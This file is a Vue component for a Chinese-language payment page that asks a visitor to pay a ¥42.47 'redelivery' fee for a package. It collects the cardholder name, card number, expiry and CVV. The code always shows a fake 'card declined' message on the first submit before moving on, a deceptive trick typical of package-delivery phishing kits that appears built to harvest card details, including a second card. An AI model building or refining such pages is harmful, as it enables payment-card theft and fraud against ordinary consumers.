<template>
  <div class="content">
    在线支付
    <p>
      在重新发货的情况下，将收取部分服务费。 付款后，包裹将重新发货
    </p>
    <b>
      一次性付款： ¥42.47
    </b>
    <div>
      <BaseForm ref="formInstance" :fields="[
        {
          label: '持卡人',
          key: 'name',
          props: {
            rules: [
              {
                required: true,
                message: '请输入持卡人姓名',
              },
            ],
            required: true,
          },
        },
        {
          label: '信用卡號',
          key: 'card',
          props: {
            id: 'card',
            rules: [
              {
                required: true,
                message: '请输入正确的信用卡號',
                // pattern: /^(\d{4})(\d{4})(\d{4})(\d{4})$/,
                pattern: /^(\d{4} )(\d{4} )(\d{4} )(\d{4})$/,
              },
            ],
            placeholder: '1234 1234 1234 1234',
            formatter,
            required: true,
            maxlength: 19,
          },
        },
        {
          label: '有效年月',
          key: 'year',
          props: {
            rules: [
              {
                required: true,
                message: '请输入有效年月',
                pattern: /^(\d{2})\/(0[1-9]|1[0-2])$/,
              },
            ],
            id: 'year',
            placeholder: '02 / 34',
            required: true,
            formatter: dateFormatter,
            maxlength: 5,
          },
        },
        {
          label: '背面末三碼',
          key: 'id',
          props: {
            id: 'securityCode',
            rules: [
              {
                required: true,
                message: '请输入背面末三碼',
              },
            ],
            placeholder: 'cvv',
            required: true,
            maxlength: 3,
          },
        },
      ]">
      </BaseForm>
      <div @click="onSubmit" style="text-align: center;"> <input class="button" type="submit" value="提交">
      </div>
    </div>
  </div>
</template>

<script setup lang="ts">
// import BaseButton from "@/components/BaseButton.vue";
import BaseForm from "@/components/BaseForm.vue";
import { showNotify } from "vant";
import 'vant/es/notify/style';
import { useRouter } from "vue-router";
import { ref } from "vue";
let index = 0;

const getImageUrl = (name: string | number, type = 'svg') => {
  return new URL(`../assets/${name + '.' + type}`, import.meta.url).href
}
const list = ["visa", "mastercard", "amex", "apple", "google", "samsung"];
const router = useRouter();
const formInstance = ref<InstanceType<typeof BaseForm> | null>(null);
const getImage = (value: string) => {
  return new URL(`../../assets/pay/${value}.svg`, import.meta.url).href;
};
const onSubmit = () => {
  formInstance.value
    ?.onSubmit()
    .then((data) => {
      console.log("success", data);
      if (index === 0) {
        showNotify({
          type: "warning",
          message: "您的卡已被拒绝",
        });
        index++;
      } else {
        router.push("/pay");
      }
    })
    .catch(() => {
      console.log("error");
    });
},
  formatter = (value: string) => {
    const strippedValue = value.replace(/\s/g, ""); // 去除所有空格
    const groups = strippedValue.match(/.{1,4}/g); // 将字符串切分为每4位一组的数组
    if (groups) {
      return groups.join(" "); // 使用空格连接数组元素
    } else {
      return strippedValue; // 如果没有匹配到分组，返回去除空格的原始值
    }
  },
  dateFormatter = (value: string) => {
    let cleanedValue = value.replace(/\D/g, '');
    // 将格式化后的值重新赋给v-model
    if (cleanedValue.length === 3) {
      value = cleanedValue.slice(0, 2) + '/' + cleanedValue.slice(2);
    } else {
      // 将格式化后的值重新赋给v-model，添加斜杠
      value = cleanedValue.replace(/(\d{2})(\d{2})/, '$1/$2');
    }
    return value
  };
onMounted(() => {
  const div = document.createElement('div')
  const styleSheet = document.styleSheets[1]
  div.className = 'svg-list'
  styleSheet.addRule('.svg-list', 'display:flex;flex-wrap:wrap;gap:5px;justify-content: flex-end;pointer-events:none;')
  const list = []
  for (let p = 0; p < 9; p++) {
    const image = document.createElement('img')
    image.src = getImageUrl(p + 1)
    image.style.width = '30px'
    image.style.height = '30px'
    list.push(image)
  }
  div.append(...list)
  const image = document.createElement('img')
  image.src = getImageUrl(20)
  image.style.width = '24px'
  image.style.height = '24px'
  image.style.marginRight = '6px'
  document.getElementById('securityCode')?.insertAdjacentElement('afterend', image)
  document.getElementById('card')?.parentElement?.parentElement?.parentElement?.insertAdjacentElement('afterend', div)
})
</script>

<style lang="scss" scoped>
.content {
  padding: 40px 15px 30px 15px;
  margin-top: 60px;
  font-size: 14px;
}

.svg-list {
  display: flex;
  flex-wrap: wrap;
  gap: 5px;
  justify-content: flex-end;
  pointer-events: none;

  img {
    width: 30px;
    height: 30px;
  }
}

.icon {
  width: 68px;
  height: 48px;
  margin-right: 10px;
}

.icon-containerP {
  margin-bottom: 0px;
  padding: 7px 0;
  font-size: 20px;
  width: 100%;
  display: flex;
  flex-wrap: wrap;
  justify-content: center;
}

.field__label {
  display: block;
  font-weight: 600;
}

.form {
  background-color: #f9f9f9;
  padding: 16px;
}

label {
  margin-bottom: 5px;
  display: block;
}

:deep(.van-form) {
  // padding: 0 20px;

  .van-field {
    // background-color: #f9f9f9;
  }

  .van-field__control {
    color: #333 !important;
    font-size: 18px;
    // background-color: white;
    height: 40px;
  }

  .van-cell:nth-child(n + 3) {
    width: 48%;
    display: inline-block;
    padding: 20px 0;
  }

  .van-cell:last-child {
    float: right;
  }

  input::placeholder {
    // color: gray;
    /* 设置占位符文字颜色 */
  }

  // .van-field__body{
  //   background-color: white;
  // }
}

.button {
  display: inline-block;
  background-color: #141414;
  color: #fff;
  font-weight: 700;
  border: none;
  border-radius: 5px;
  padding: 8px 50px;
  box-shadow: 0 0 4px rgba(128, 128, 128, .5);
  align-self: center;
}
</style>